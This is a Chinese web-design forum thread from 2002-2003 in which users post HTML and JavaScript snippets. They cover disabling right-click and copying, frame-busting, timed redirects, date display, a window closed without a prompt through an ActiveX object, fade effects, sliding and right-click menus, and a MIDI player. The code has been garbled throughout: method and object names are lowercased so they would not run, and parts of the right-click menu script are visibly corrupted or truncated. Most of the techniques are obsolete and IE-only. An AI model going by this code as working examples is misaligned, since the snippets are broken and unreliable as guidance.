------网页设计常用代码荟萃(不断更新中)------

Post Time: 2006-11-12 22:26:33

2002-11-20 04:59 myway
不断更新中 欢迎跟贴 指正错误 提交新的代码 !
  
禁止页面正文选取
<body oncontextmenu="return false" ondragstart="return false" onselectstart ="return false"  onselect="document.selection.empty()" oncopy="document.selection.empty()" onbeforecopy="return false"onmouseup="document.selection.empty()">
  
消除ie6自动出现的图像工具栏,设置 galleryimg属性为false或no .
<img src="mypicture.jpg" height="100px" width="100px" galleryimg="no">
  
防止点击空链接时,页面往往重置到页首端。
代码“javascript:void(null)”代替原来的“#”标记
  
如何避免别人把你的网页放在框架中
<script language=“javascript”><!--if (self!=top){top.location=self.location;} -->< /script>
  
页面定时刷新
<meta http-equiv="refresh" content="秒" >
  
页面定时转向新的地址
<meta http-equiv="refresh" content="秒;url=url">
  
显示日期
<script language="javascript"><!--  
today=new date();  
var week; var date;  
if(today.getday()==0) week="星期日"  
if(today.getday()==1) week="星期一"  
if(today.getday()==2) week="星期二"  
if(today.getday()==3) week="星期三"  
if(today.getday()==4) week="星期四"  
if(today.getday()==5) week="星期五"  
if(today.getday()==6) week="星期六"  
date=(today.getyear())+"年"+(today.getmonth()+1)+"月"+today.getdate()+"日"+" "  
document.write("<span style='font-size: 9pt;'>"+date+week+"</span>");  
// -->  
</script>  
  
设为首页   
<a href=# onclick="this.style.behavior='url(#default#homepage)';this.sethomepage('url');">设为首页</a>  
  
添加收藏
<a href="javascript:window.external.addfavorite('url','title')"> 加入收藏夹</a>
Quote
2002-11-20 05:40 myway
你~~我改!  
<body oncontextmenu="return false" ondragstart="return false" onselectstart ="return false"  onselect="document.selection.empty()" oncopy="document.selection.empty()" onmousedown="killselection(event);" onbeforecopy="return false" onkeypress="killselection(event);" onmouseup="document.selection.empty()">
这可是终极的了!
你得不行吧!在哪儿找的!
Quote
2002-11-20 05:51 恰恰
谁还记得在哪找的阿?我的是body里面
oncontextmenu="return false" onmousemove="event.returnvalue=false;"
前面是禁右键,后面是禁选择
Quote
2002-11-20 07:17 ahfu
响应排骨大哥号召:
  
显示日期:
<script language="javascript"><!--
today=new date();
var week; var date;
if(today.getday()==0) week="星期日"
if(today.getday()==1) week="星期一"
if(today.getday()==2) week="星期二"
if(today.getday()==3) week="星期三"
if(today.getday()==4) week="星期四"
if(today.getday()==5) week="星期五"
if(today.getday()==6) week="星期六"
date=(today.getyear())+"年"+(today.getmonth()+1)+"月"+today.getdate()+"日"+"  "
document.write("<span style='font-size: 9pt;'>"+date+week+"</span>");
// -->
</script>
  
设为首页:
<a href=#   onclick="this.style.behavior='url(#default#homepage)';this.sethomepage('http://www.54ahfu.com');">设为首页</a>
  
添加收藏:
<a href="javascript:window.external.addfavorite('http://www.54ahfu.com','我是阿付"> 加入收藏夹</a>
Quote
2002-11-20 21:29 myway
我测试了一下 有这些就够了
<body oncontextmenu="return false" ondragstart="return false" onselectstart ="return false"  onselect="document.selection.empty()" oncopy="document.selection.empty()" onbeforecopy="return  
false"onmouseup="document.selection.empty()">  
  
“出现运行期错误,是否纠正该错误?”  
“错误:缺少对象”  
是因为onmousedown="killselection(event);这几句是调用外部js的函数 去掉就可以了!
  
谢谢细心的恰恰
Quote
2002-11-20 21:49 恰恰
你谢我阿?难得哦~~我也有:)关闭窗口,这个是不会弹出提示直接关的:
把如下代码加入<body>区域中
<object id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="command" value="close">
</object>
<script language="javascript">function shutwin(){closes.click();return;}</script>
<a href="javascript:shutwin();">关闭本窗口</a>
  
随机图片:
把如下代码加入<body>区域中
  <script language="javascript"><!--
today=new date();
jran=today.gettime();
  
function rnd() {
  
    ia=9301;
    ic=49297;
    im=233280;
  
    jran = (jran*ia+ic) % im;
    return jran/(im*1.0);
};
  
function rand(number) {
  
    return math.ceil(rnd()*number);
};
  
document.write("<center>");
for(i=1;i<=1;i++) {
    mynum=(rand(10)); //改成你要随机显示的图片数;
    if(mynum == 1) document.write("<img src='photo/back.jpg'>");  
if(mynum == 2) document.write("<img src='photo/j2.gif'>"); //图片路径,可用http://
if(mynum == 3) document.write("<img src='photo/email.gif'>");  
if(mynum == 4) document.write("<img src='photo/arrow.gif'>");  
if(mynum == 5) document.write("<img src='photo/j2.gif'>");  
if(mynum == 6) document.write("<img src='photo/email.gif'>");  
if(mynum == 7) document.write("<img src='photo/arrow.gif'>");  
if(mynum == 8) document.write("<img src='photo/j2.gif'>");  
if(mynum == 9) document.write("<img src='photo/back.jpg'>");  
if(mynum == 10) document.write("<img src='photo/email.gif'>");  
    else {
document.write();
}
};
document.write("</center>");
//-->
</script>
其实改一改随机什么都行,也不一定在body中,随机css也行:d我喜欢在这里找代码http://www.jzzy.com/
Quote
2002-11-22 02:51 中国哥哥
图片显隐效果
脚本说明:
把如下代码加入<body>区域中
<script language=javascript>
// flash image extension for dreamwever ,by yichun yuan(dezone@sina.com)
nereidfadeobjects = new object();
nereidfadetimers = new object();
function nereidfade(object, destop, rate, delta){
if (!document.all)
return
if (object != "[object]"){  //do this so i can take a string too
settimeout("nereidfade("+object+","+destop+","+rate+","+delta+")",0);
return;
}
cleartimeout(nereidfadetimers[object.sourceindex]);
diff = destop-object.filters.alpha.opacity;
direction = 1;
if (object.filters.alpha.opacity > destop){
direction = -1;
}
delta=math.min(direction*diff,delta);
object.filters.alpha.opacity+=direction*delta;
if (object.filters.alpha.opacity != destop){
nereidfadeobjects[object.sourceindex]=object;
nereidfadetimers[object.sourceindex]=settimeout("nereidfade(nereidfadeobjects["+object.sourceindex+"],"+destop+","+rate+","+delta+")",rate);
}
}
</script>
<a href=#><img src="photoshopcn.jpg" border=0 onmouseout=nereidfade(this,50,10,5) onmouseover=nereidfade(this,100,10,5)  style="filter: alpha(opacity=40)"></a>
Quote
2002-11-25 23:05 zhangjing815
我想问一下,我想把一个大图片局部显隐,怎么做呀
  我想过了,好象只能把图片切了,可是切的图片不能事特殊形状呀
  请问有别的方法吗
我只想图片一部分显隐!!!
Quote
2002-11-29 00:45 zhangjing815
怎么搞得吗
  回贴子的人都那里去了
    大家都很忙是吗
    帮帮小弟
Quote
2002-12-7 23:56 visualbasic
俺也来个:
                                       推拉式菜单
<head>和〈/head>之间:<style>#d1 {
  background-color: lightblue;
  border-bottom: white 2px outset;  
  border-left: white 2px outset;  
  border-right: white 2px outset;
  border-top: white 2px outset; left: 0px;
  position: absolute; top: 70px; visibility: hidden;
  width: 200px; layer-background-color: lightblue
}
</style>
<script language="javascript">
function menuin() {
        if(n4) {
                cleartimeout(out_id)
                if( menu.left > menuw*-1+20+10 ) {  
                        menu.left -= 8
                        in_id = settimeout("menuin()", 1)
                }
                else if( menu.left > menuw*-1+20 ) {
                        menu.left--
                        in_id = settimeout("menuin()", 1)
                }
        }
        else {  
                cleartimeout(out_id)
                if( menu.pixelleft > menuw*-1+20+10 ) {
                        menu.pixelleft -= 4
                        in_id = settimeout("menuin()", 1)  
                }
                else if( menu.pixelleft > menuw*-1+20 ) {
                        menu.pixelleft--
                        in_id = settimeout("menuin()", 1)
                }
        }
}
function menuout() {
        if(n4) {
                cleartimeout(in_id)
                if( menu.left < -10) {  
                        menu.left += 4
                        out_id = settimeout("menuout()", 1)
                }
                else if( menu.left < 0) {  
                        menu.left++
                        out_id = settimeout("menuout()", 1)
                }
                
        }
        else {  
                cleartimeout(in_id)
                if( menu.pixelleft < -10) {
                        menu.pixelleft += 2
                        out_id = settimeout("menuout()", 1)
                }
                else if( menu.pixelleft < 0 ) {
                        menu.pixelleft++
                        out_id = settimeout("menuout()", 1)
                }
        }
}
function fireover() {  
        cleartimeout(f_out)
        f_over = settimeout("menuout()", 10)
}
function fireout() {  
        cleartimeout(f_over)
         f_out = settimeout("menuin()", 10)
}
function init() {
        if(n4) {
                menu = document.d1
                menuw = menu.document.width
                menu.left = menuw*-1+20                                 
                document.d1.onmouseover = menuout
                document.d1.onmouseout = menuin
    menu.visibility = "visible"
        }
        else if(e4) {  
                menu = d1.style
                menuw = d1.offsetwidth
                d1.style.pixelleft = menuw*-1+20
                d1.onmouseover = fireover
                d1.onmouseout = fireout
                d1.style.visibility = "visible"
        }
}
f_over=f_out=in_id=out_id=null
n4 = (document.layers)?1:0
e4 = (document.all)?1:0;
</script>
  
in the middle of <body>and</head>:
  
<div id="d1">  
        <table border="0">
          <tr>  
            <td align="middle"><b style="color: green">菜单</b></td>
          </tr>
          <tr>  
            <td>
              <ul>
                <li><a href="http://www.hongen.com">洪恩在线</a> </li>
                <li><a href="http://www.teacher.edu.cn">中国园丁网</a> </li>
                <li><a href="http://www.sina.com.cn">新浪网</a> </li>
              </ul>
            </td>
          </tr>
        </table>
      </div>
  
放在<body>内:
<body onload="init()">
Quote
2002-12-11 02:13 菜鸟暴走中
渐隐的特效
将下面的代码复制到<head>~</head>里:
<meta http-equiv="page-enter" content="blendtrans(duration=0.5)">
<meta http-equiv="page-exit" content="blendtrans(duration=0.5)">
  
<meta http-equiv="page-enter" content="blendtrans(duration=0.5)"> // 进入时渐隐
<meta http-equiv="page-exit" content="blendtrans(duration=0.5)">  // 退出时渐隐
Quote
2003-2-16 10:50 kuteng0006
大家好:
  交个朋友好吗?我是新手,,,,,,我要拜师!!!!!!!!
  :)一鞠躬
   :)二鞠躬
   :)三鞠躬
   :(呜呜呜.........
Quote
2003-2-28 02:38 36k金
呵呵,先看看效果……鼠标右键的效果!
  
http://100c.33kz.com
  
再来代码
  
先在<head></head>之间加入
  
<style type="text/css">
.menutable {
border-right: #307ce8 1px solid; border-top: #94bcf3 1px solid; font-size: 12px; z-index: 100; border-left: #307ce8 5px solid; border-bottom: #307ce8 1px solid; position: absolute; background-color: #ffffff
}
.menutrin {
cursor: hand; color: #ffffff; background-color: #d6e4fa
}
.menutrout {
cursor: hand; color: #000000
}
.menutd0 {
width: 28px; height: 25px; text-align: center; 改变这个修改菜单高度---:
}
.menutd1 {
width: 46px; font-family: webdings; text-align: right
}
.linktd1 {
width: 46px
}
.menutd2 {
width: 4px
}
.menuhr {
border-right: #307ce8 1px inset; border-top: #307ce8 1px inset; border-left: #307ce8 1px inset; border-bottom: #307ce8 1px inset
}
  
</style>
<bgsound id=thebs src="images/menu.wav" loop=0>
  
然后在<body></body>中间加入这些,上面一些变量很清楚,大家自己修改!
  
<script language="javascript" type="text/javascript">  
   
//  以下数据有详细说明各部分请参照修改  
   
var iconlist = new array();   // 请注意图象路径!icon图片集合可填加删除,下标从 1 开始  
   
iconlist[1] = new image();  
   
iconlist[1].src = "images/winxp1.gif";  
   
iconlist[2] = new image();  
   
iconlist[2].src = "images/home.gif";  
   
iconlist[3] = new image();  
   
iconlist[3].src = "images/doc.gif";  
   
iconlist[4] = new image();  
   
iconlist[4].src = "images/view.gif";  
   
iconlist[5] = new image();  
   
iconlist[5].src = "images/talk.gif";  
   
iconlist[6] = new image();  
   
iconlist[6].src = "images/into.gif";  
   
iconlist[7] = new image();  
   
iconlist[7].src = "images/url.gif";  
   
iconlist[8] = new image();  
   
iconlist[8].src = "images/save.gif";  
   
iconlist[9] = new image();  
   
iconlist[9].src = "images/email.gif";  
   
iconlist[10] = new image();  
   
iconlist[10].src = "images/friend.gif";  
   
// 检测变量 菜单的显示隐藏就靠它了!!! //  
   
var justmenuid = "";  
   
var submenulist = new array();  
   
var nowsubmenu = "";  
   
var mousecansound = true;    // 声音开关   声音开关 //  
   
var menuspeed     =  80;   // 菜单显示速度 //  
   
var alphastep     =  50;   // alpaha 变化 度 //  
   
//构建 主菜单 对象 //  
   
function mousemenu(objname)  
{  
this.id     = "menu_"+objname;  
this.obj    = objname;  
this.length  = 0;  
   
   
this.addmenu = addmenu;  
this.addlink = addlink;  
this.addhr   = addhr;  
   
justmenuid = this.id;  
   
document.body.insertadjacenthtml('beforeend','<table id="'+this.id+'" border="0" cellspacing="0" cellpadding="0" style="top: 0; left: 0; visibility: hidden; filter:alpha(opacity=0);" class="menutable" onmousedown=event.cancelbubble=true; onmouseup=event.cancelbubble=true></table>');  
}  
   
//构建 子菜单 对象 //  
   
function submenu(objname,objid)  
{  
this.obj = objname;  
this.id  = objid;  
   
this.addmenu = addmenu;  
this.addlink = addlink;  
this.addhr   = addhr;  
   
this.length  = 0;  
}  
   
   
// 生成 菜单 makemenu 方法 //  
function makemenu(subid,oldid,word,icon,url,target,thetitle)  
{  
var thelink = '';  
   
   
if(icon&&icon!="")  
{  
icon = '<img border="0" src="'+iconlist.src+'">';  
}  
else  
{  
icon = '';  
}  
   
if(!thetitle||thetitle=="")  
{  
thetitle = '';  
}  
   
   
if(url&&url!="")  
{  
thelink += '<a href="'+url+'" ';  
   
if(target&&target!="")  
{  
thelink += '  ';  
thelink += 'target="'+target+'" '  
}  
   
thelink += '></a>';  
}  
   
var oobj = document.getelementbyid(oldid);  
   
/*--------------------------------------------- 菜单html样式  
   
<tr class="menutrout" id="trmenu_one_0" title="i am title">  
<td class="menutd0"><img src="icon/sub.gif" border="0" width="16" height="16"></td>  
<td><a href="javascript:alert('i am menu');" target="_self"></a><nobr>菜单一</nobr></td>  
<td class="menutd1">4</td>  
<td class="menutd2">[$nbsp]</td>  
</tr>  
   
   
--------------------------------------------------*/  
   
oobj.insertrow();  
   
   
with(oobj.rows(oobj.rows.length-1))  
{  
id       = "tr"+subid;  
classname  = "menutrout";  
   
title       = thetitle;  
   
}  
   
eventobj = "tr"+subid;  
   
eval(eventobj+'.attachevent("onmouseover",mtrover('+eventobj+'))');  
eval(eventobj+'.attachevent("onclick",mtrclick('+eventobj+'))');  
   
var trobj = eval(eventobj);  
   
for(i=0;i<4;i++)  
{  
trobj.insertcell();  
}  
   
with(oobj.rows(oobj.rows.length-1))  
{  
cells(0).classname = "menutd0";  
cells(0).innerhtml = icon;  
   
cells(1).innerhtml = thelink+'<nobr class=indentword>'+word+'</nobr>';  
cells(1).calssname = "indentword"  
   
cells(2).classname = "menutd1";  
cells(2).innerhtml = "4";  
   
cells(3).classname = "menutd2";  
cells(3).innertext = " ";  
   
}  
   
   
   
document.body.insertadjacenthtml('beforeend','<table id="'+subid+'" border="0" cellspacing="0" cellpadding="0" style="top: 0; left: 0; visibility: hidden; filter:alpha(opacity=0);" class="menutable" onmousedown=event.cancelbubble=true; onmouseup=event.cancelbubble=true></table>');  
   
   
   
}  
   
   
//生成连接 makelink 方法//  
function makelink(subid,oldid,word,icon,url,target,thetitle)  
{  
   
   
var thelink = '';  
   
if(icon&&icon!="")  
{  
icon = '<img border="0" src="'+iconlist.src+'">';  
}  
else  
{  
icon = '';  
}  
   
if(!thetitle||thetitle=="")  
{  
thetitle = '';  
}  
   
   
if(url&&url!="")  
{  
thelink += '<a href="'+url+'" ';  
   
if(target&&target!="")  
{  
thelink += '  ';  
thelink += 'target="'+target+'" '  
}  
   
thelink += '></a>';  
}  
   
var oobj = document.getelementbyid(oldid);  
   
   
/*--------------------------------------------- 连接html样式  
   
<tr class="menutrout" id="trmenu_one_0" title="i am title">  
<td class="menutd0"><img src="icon/sub.gif" border="0" width="16" height="16"></td>  
<td><a href="javascript:alert('i am link');" target="_self"></a><nobr>连接一</nobr></td>  
<td class="linktd1"></td>  
<td class="menutd2">[$nbsp]</td>  
</tr>  
   
   
--------------------------------------------------*/  
   
oobj.insertrow();  
   
   
with(oobj.rows(oobj.rows.length-1))  
{  
id       = "tr"+subid;  
classname  = "menutrout";  
title       = thetitle;  
   
}  
   
eventobj = "tr"+subid;  
   
eval(eventobj+'.attachevent("onmouseover",ltrover('+eventobj+'))');  
eval(eventobj+'.attachevent("onmouseout",ltrout('+eventobj+'))');  
eval(eventobj+'.attachevent("onclick",mtrclick('+eventobj+'))');  
   
var trobj = eval(eventobj);  
   
for(i=0;i<4;i++)  
{  
trobj.insertcell();  
}  
   
with(oobj.rows(oobj.rows.length-1))  
{  
cells(0).classname = "menutd0";  
cells(0).innerhtml = icon;  
   
cells(1).innerhtml = thelink+'<nobr class=indentword>'+word+'</nobr>';  
   
cells(2).classname = "linktd1";  
cells(2).innertext = " ";  
   
cells(3).classname = "menutd2";  
cells(3).innertext = " ";  
   
}  
   
}  
   
   
// 菜单对象 addmenu 方法 //  
function addmenu(word,icon,url,target,title)  
{  
var subid    = this.id + "_" + this.length;  
var subobj  = this.obj+"["+this.length+"]";  
   
var oldid   = this.id;  
   
eval(subobj+"= new submenu('"+subobj+"','"+subid+"')");  
   
makemenu(subid,oldid,word,icon,url,target,title);  
   
this.length++;  
   
}  
   
   
// 菜单对象 addlink 方法 //  
function addlink(word,icon,url,target,title)  
{  
var subid    = this.id + "_" + this.length;  
var oldid  = this.id;  
   
makelink(subid,oldid,word,icon,url,target,title);  
   
this.length++;  
}  
   
// 菜单对象 addhr 方法 //  
function addhr()  
{  
var oldid = this.id;  
   
var oobj = document.getelementbyid(oldid);  
   
oobj.insertrow();  
   
/*------------------------------------------  
   
<tr>  
<td colspan="4">  
<hr class="menuhr" size="1" width="95%">  
</td>  
</tr>  
   
--------------------------------------------*/  
   
   
oobj.rows(oobj.rows.length-1).insertcell();  
   
with(oobj.rows(oobj.rows.length-1))  
{  
cells(0).colspan= 4;  
cells(0).insertadjacenthtml('beforeend','<hr class="menuhr" size="1" width="95%">');  
}  
   
}  
   
   
   
   
   
   
// mtrover(obj)//  
function mtrover(obj)  
{  
return sub_over;  
   
function sub_over()  
{  
   
var sonid = obj.id.substring(2,obj.id.length);  
   
var topobj = obj.parentelement.parentelement;  
   
nowsubmenu = topobj.id;  
   
if(obj.classname=="menutrout")  
{  
mousewave();  
}  
   
hidemenu(1);  
   
submenulist[returnindex(nowsubmenu)] = nowsubmenu;  
   
showthemenu(sonid,mpreturn(sonid))  
   
submenulist[returnindex(obj.id)] = sonid;  
   
if(topobj.oldtr)  
{  
eval(topobj.oldtr+'.classname = "menutrout"');  
}  
   
obj.classname = "menutrin";  
   
topobj.oldtr = obj.id;  
   
   
}  
}  
   
//--------- ltrover(obj)-------------------//  
function ltrover(obj)  
{  
return sub_over;  
   
function sub_over()  
{  
var topobj = obj.parentelement.parentelement;  
   
nowsubmenu = topobj.id;  
   
hidemenu(1);  
   
submenulist[returnindex(nowsubmenu)] = nowsubmenu;  
   
if(topobj.oldtr)  
{  
eval(topobj.oldtr+'.classname = "menutrout"');  
}  
   
obj.classname = "menutrin";  
   
topobj.oldtr = obj.id;  
   
}  
}  
   
//--------- ltrout(obj)-------------------//  
function ltrout(obj)  
{  
return sub_out;  
   
function sub_out()  
{  
var topobj = obj.parentelement.parentelement;  
   
obj.classname = "menutrout";  
   
topobj.oldtr = false;  
}  
}  
   
//----------mtrclick(obj)-----------------//  
   
function mtrclick(obj)  
{  
return sub_click;  
   
function sub_click()  
{  
if(obj.cells(1).all.tags("a").length>0)  
{  
obj.cells(1).all.tags("a")(0).click();  
}  
   
}  
}  
   
   
//---------- returnindex(str)--------------//  
   
function returnindex(str)  
{  
return (str.split("_").length-3)  
}  
   
   
//---------showthemenu(obj,num)-----------------//  
   
function showthemenu(obj,num)  
{  
var topobj = eval(obj.substring(0,obj.length-2));  
   
var trobj  = eval("tr"+obj);  
   
var obj = eval(obj);  
   
if(num==0)  
{  
with(obj.style)  
{  
pixelleft = topobj.style.pixelleft +topobj.offsetwidth;  
pixeltop  = topobj.style.pixeltop + trobj.offsettop;  
}  
}  
if(num==1)  
{  
with(obj.style)  
{  
pixelleft = topobj.style.pixelleft + topobj.offsetwidth;  
pixeltop  = topobj.style.pixeltop  + trobj.offsettop + trobj.offsetheight - obj.offsetheight;  
}  
}  
if(num==2)  
{  
with(obj.style)  
{  
pixelleft = topobj.style.pixelleft -  obj.offsetwidth;  
pixeltop  = topobj.style.pixeltop + trobj.offsettop;  
}  
}  
if(num==3)  
{  
with(obj.style)  
{  
pixelleft = topobj.style.pixelleft -  obj.offsetwidth;  
pixeltop  = topobj.style.pixeltop  + trobj.offsettop + trobj.offsetheight - obj.offsetheight;  
}  
}  
   
obj.style.visibility  = "visible";  
   
if(obj.alphaing)  
{  
clearinterval(obj.alphaing);  
}  
   
obj.alphaing = setinterval("menu_alpha_up("+obj.id+","+alphastep+")",menuspeed);  
}  
   
//----------hidemenu(num)-------------------//  
   
/*----------------------  
var submenulist = new array();  
   
var nowsubmenu = "";  
   
---------------------*/  
   
function hidemenu(num)  
{  
var thenowmenu = "";  
   
var obj = null;  
   
if(num==1)  
{  
thenowmenu = nowsubmenu  
}  
   
   
   
for(i=submenulist.length-1;i>=0;i--)  
{  
if(submenulist!=thenowmenu)  
{  
   
obj = eval(submenulist).classname = "menutrout";  
   
submenulist==thenowmenu)  
{  
return;  
}  
}  
}  
   
nowsubmenu = "";  
}  
   
   
   
   
//-----------mainmenuposition return()------------//  
   
function mmpreturn()  
{  
var obj = eval(justmenuid);  
   
var x = event.clientx;  
var y = event.clienty;  
   
var judgerx = x + obj.offsetwidth;  
var judgery = y + obj.offsetheight;  
   
var px = 0;  
var py = 0;  
   
if(judgerx>document.body.clientwidth)  
{  
px = 2;  
}  
if(judgery>document.body.clientheight)  
{  
py = 1;  
}  
   
return (px+py);  
}  
   
//-----------menuposition return(obj)--------------//  
   
function mpreturn(obj)  
{  
var topobj = eval(obj.substring(0,obj.length-2));  
   
var trobj  = eval("tr"+obj);  
   
var x = topobj.style.pixelleft + topobj.offsetwidth;  
var y = topobj.style.pixeltop  + trobj.offsettop;  
   
obj = eval(obj);  
   
var judgery =  obj.offsetheight + y;  
var judgerx =  obj.offsetwidth  + x;  
   
var py = 0;  
var px = 0;  
   
if(judgery>=document.body.clientheight)  
{  
py = 1;  
}  
   
if(judgerx>= document.body.clientwidth)  
{  
px = 2;  
}  
   
return (px+py);  
}  
   
//-----------修改鼠标声音路径-------------//  
   
function mousewave()  
{  
if(mousecansound)  
{  
thebs.src= "images/menu.wav";  
}  
}  
   
//----------- menu_alpha_down -------//  
   
function menu_alpha_down(obj,num)  
{  
var obj = eval(obj);  
   
if(obj.filters.alpha.opacity > 0 )  
{  
obj.filters.alpha.opacity += -num;  
}  
else  
{  
clearinterval(obj.alphaing);  
obj.filters.alpha.opacity = 0;  
obj.alphaing = false;  
obj.style.visibility = "hidden";  
}  
}  
   
   
//------------ menu_alpha_up --------//  
   
function menu_alpha_up(obj,num)  
{  
var obj = eval(obj);  
   
if(obj.filters.alpha.opacity<100)  
obj.filters.alpha.opacity += num;  
else  
{  
clearinterval(obj.alphaing);  
obj.filters.alpha.opacity = 100;  
obj.alphaing = false;  
}  
}  
   
   
//----------- ie contextmenu -----------------//  
   
function document.oncontextmenu()  
{  
return false;  
}  
   
   
//----------- ie mouseup ----------------//  
   
function document.onmouseup()  
{  
if(event.button==2)  
{  
   
hidemenu(0);  
   
   
var obj = eval(justmenuid)  
   
   
obj.style.visibility = "hidden";  
   
   
if(obj.alphaing)  
{  
clearinterval(obj.alphaing);  
}  
   
obj.filters.alpha.opacity = 0;  
   
var judger = mmpreturn()  
   
if(judger==0)  
{  
with(obj.style)  
{  
pixelleft = event.clientx + document.body.scrollleft;  
pixeltop  = event.clienty + document.body.scrolltop;  
}  
}  
if(judger==1)  
{  
with(obj.style)  
{  
pixelleft = event.clientx + document.body.scrollleft;  
pixeltop  = event.clienty - obj.offsetheight + document.body.scrolltop;  
}  
}  
if(judger==2)  
{  
with(obj.style)  
{  
pixelleft = event.clientx - obj.offsetwidth + document.body.scrollleft;  
pixeltop  = event.clienty + document.body.scrolltop;  
}  
}  
if(judger==3)  
{  
with(obj.style)  
{  
pixelleft = event.clientx - obj.offsetwidth + document.body.scrollleft;  
pixeltop  = event.clienty - obj.offsetheight + document.body.scrolltop;  
}  
}  
   
mousewave();  
   
obj.style.visibility = "visible";  
   
obj.alphaing = setinterval("menu_alpha_up("+obj.id+","+alphastep+")",menuspeed);  
   
   
   
}  
}  
   
//---------- ie mousedown --------------//  
   
function document.onmousedown()  
{  
if(event.button==1)  
{  
hidemenu();  
   
var obj = eval(justmenuid)  
   
if(obj.alphaing)  
{  
clearinterval(obj.alphaing);  
}  
   
obj.alphaing = setinterval("menu_alpha_down("+obj.id+","+alphastep+")",menuspeed);  
   
}  
}  
//----->  
   
   
var one = new mousemenu("one");  
   
one.addmenu(" 闪闪客栈栏目导航",4);  
one[0].addlink("闪闪客栈首页",2,"http://www.33kz.com","_blank")  
one[0].addhr()  
one[0].addlink("动画欣赏栏目","","http://flash.33kz.com","_blank")  
one[0].addlink("闪客听吧栏目","","http://music.33kz.com","_blank")  
one[0].addlink("教程天地栏目","","http://jc.33kz.com","_blank")  
one[0].addlink("软件下载栏目","","http://down.33kz.com","_blank")  
one.addhr();  
one.addlink("业务联系","9","http://www.33kz.com/lx.htm","_blank")  
one.addmenu("友情链接",10);  
one[2].addlink("闪客听吧","","http://music.33kz.com","_blank")  
one[2].addlink("精彩动画mtv","","http://flash.33kz.com","_blank")  
one[2].addlink("在线教程","","http://jc.33kz.com","_blank")  
one[2].addhr()  
one[2].addmenu(" 其它介绍",6);  
one[2][one[2].length-1].addlink("关于我们","","http://www.33kz.com/about.htm","_blank")  
one[2][one[2].length-1].addlink("广告业务","","http://www.33kz.com/gg.htm","_blank")  
one[2][one[2].length-1].addlink("联系热线","","http://www.33kz.com/lx.htm","_blank")  
one.addhr();  
one.addlink("请进入论坛",5,"ttp://www.33kz.com/bbs/cgi-bin/leoboard.cgi","_blank")  
one.addhr();  
one.addlink("☆ 本站业务 ☆",1,"javascript:alert('将在近期推出网站制作、企业形象设计、广告设计等业务!')")  
   
   
</script>
Quote
2003-3-15 14:24 hanghwp
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<!-- saved from url=(0046)http://liang.uhome.net/powerpanda/me/css/7.htm -->
<html><head><title>动态光源效果</title>
<meta content="text/html; charset=gb2312" http-equiv=content-type>
<style>.shadow {
  filter: shadow(color=blue,direction=225)
}
.shadow1 {
  filter: shadow(color=red,direction=225)
}
.shadow2 {
  filter: shadow(color=gray,direction=225)
}
.div {
  cursor: move; filter: blur(add=ture,direction=135,strength=10); width: 800px
}
</style>
  
<meta content="mshtml 5.00.2614.3500" name=generator></head>
<body>
<table border=3 bordercolor=#008080 cellspacing=10  
style="color: rgb(0,0,0); left: 20px; position: absolute; top: 20px; width: 100%">
  <tbody>
  
  <tr>
    <td id=flttgt style="filter: light(enabled=1),width:300" width=449><img  
      border=0 height=300 src="004.jpg" width=400> </td>
    <td style="vertical-align: top" width=287><span id=holder  
      stylefont-size:14ptcolor:yellow?>把鼠标移到图片上,光源会跟踪鼠标。单击图片来加入其他的等观灯光并且他们都会跟随鼠标移动。  
      </span></td>
  </tr></tbody></table>
<script language=javascript>
       <!--
          var g_numlights=0;
          var blurbs= new  array("    现在的动态滤镜赋予了网页更多的交互性能来响应用户的动作。","    我们使用了光源滤镜来响应用户的点击。点击图片可以增加光源。","    通过捕捉用户鼠标位置的方法来移动光源。","    这里的文本改变是响应单击事件的,并且只需要少量的编程。");
          window.onload=setlights;
          document.onclick=keyhandler;
          flttgt.onmousemove=mousehandler;
          
          function setlights(){
                   flttgt.filters[0].clear();
                   flttgt.filters[0].addcone(0,0,5,100,100,225,225,0,60,15);
                   if (g_numlights>0){
                                    flttgt.filters[0].addcone(400,170,5,100,100,225,0,0,160,15);
                                    if (g_numlights>1){
                                         flttgt.filters[0].addcone(320,330,5,100,100,0,225,225,60,15);
                                           
                              }
                }
                
                
         }  
     function  keyhandler()
      {
           g_numlights=(g_numlights+=1)%4;
           holder.innerhtml=blurbs[g_numlights];
           setlights();
         }
         
      
      function mousehandler()
      {
          x=(window.event.x-80);
          y=(window.event.y-80);
          
           flttgt.filters[0].movelight(1,x,y,5,1);
           if(g_numlights>0){
               flttgt.filters[0].movelight(1,x,y,5,1);
             if(g_numlights>1)
             {
                  flttgt.filters[0].movelight(2,x,y,5,1);
                   
             }
    
      }
    }      
     </script>
  
<p><font color=#000000>[$nbsp][$nbsp][$nbsp] </font></p>
<div style="position: absolute; top: 500px">
  <p> </p>
</div>
</body></html>
Quote
2003-3-21 23:31 chinaboy2008
有谁有javascript水中花的代码?
Quote
2003-9-2 23:33 水晶鱼儿
我也来发 网页播放器~

<br>
主题名称:其它<br>
<br>
特效名称:十分棒的midi播放器<br>
<br>        [共2步](可根据相应的项目修改)

<br>1、将以下代码加入html的<head></head>之间:
<script language="javascript">
<!-- hiding
song = new array()
var x = 0
song[1] = "mid1"
song[2] = "mid2"
song[3] = "mid3"
song[4] = "mid1"
song[5] = "mid2"
song[6] = "mid3"
function prev(){
if (x>1)
{ x--
document.midi.typein.value=song [x]
}
}
function next(){
var max= song.length-1
if (x<max)
{ x++
document.midi.typein.value=song [x]
}
}
function go(){
if (x != 0){
location.href='mid'+x+'.mid'
//以上指定播放的是当前路径的midi文件,文件名分别是mid1.mid-mid6.mid //
}
}
function start(){
x=1
document.midi.typein.value=song [x]
}
function end(){
x=song.length-1
document.midi.typein.value=song [x]
}
function cls(){
document.midi.typein.value="选曲"
}
// done hiding -->
</script>

<br>2、将以下代码加入html的<body></body>之间区:

<body onload="cls()">
<form name="midi">
<input name="typein" type="text" size="25" align=top><br>
<font size=3>
<input type=button value="|<<" align=left onclick="start()">
<input type=button value="<<" align=left onclick="prev()">
<input type=button value="play" align=left onclick="go()" name="button">
<input type=button value=">>" align=left onclick="next()">
<input type=button value=">>|" align=left onclick="end()">
</font>
</form>
Quote
2003-10-21 14:07 icecold
常用asp函數

常用asp函數﹐對搞asp的朋友比看書好。隨時可以f3

array() 
 function: 返回一个数组 
 syntax: array(list) 
 arguments: 字符,数字均可 
 example: <%
dim myarray()
for i = 1 to 7
  redim preserve myarray(i)
  myarray(i) = weekdayname(i)
next
%> 
 result: 建立了一个包含7个元素的数组myarray
myarray("sunday","monday", ... ... "saturday") 
 
cint() 
